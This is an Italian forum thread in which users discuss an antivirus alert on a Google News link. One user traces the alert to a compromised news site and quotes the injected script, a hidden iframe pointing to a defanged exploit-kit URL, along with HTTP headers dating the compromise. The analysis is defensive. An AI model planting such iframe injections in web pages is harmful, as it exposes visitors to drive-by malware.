Avast blocca trojan in uno dei link di Google News.

[GHENZ]

Aprendo un link di Google News, Avast notifica il blocco di un cavallo di troia.

Uploaded with ImageShack.us

La pagina di Google News è questa https://news.google.it/nwshp?hl=it&tab=wn
Il link è la notizia intitolata ''Acordo cipriota.....''

[hashcat]

Da quanto posso vedere il sito deve essere stato compresso e adesso fa parte della catena di distribuzione del RedKit exploit kit. Il link che Avast segnala come infetto contiene effettivamente una linea di codice nociva (inclusione di iframe).

Codice: Seleziona tutto

document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=hxxp://3diporn.com/evuv.html?j=2494029></iframe>');

P.S.: Sembra essere stato compromesso solo qualche ora fa (alle 06.18 (ora italiana)):

Codice: Seleziona tutto

HTTP/1.1 200 OK
Date: Sat, 30 Mar 2013 10:XX:XX GMT
Server: Apache/2.2.12 (Linux/SUSE)
Last-Modified: Sat, 30 Mar 2013 05:18:30 GMT
Content-Type: application/x-javascript

[GHENZ]

Per sicurezza ho fatto una scansione con Mbytes e HitmanPro,non trovano tracce di infezione.
Posso stare più ''tranquillo'' o no!?

[hashcat]

Che browser e sistema operativo hai utilizzato per accedere al sito di Google News?

[GHENZ]

Chrome e Win 7 64bit.

[hashcat]

Se possiedi l'ultima versione di Java non corri rischi.

[GHENZ]

Java non è installata nel pc.

[hashcat]

Java non è installata nel pc.

Allora non hai nulla da temere.

[Al3x]

il sole24ore divenuto untore! che figuraccia...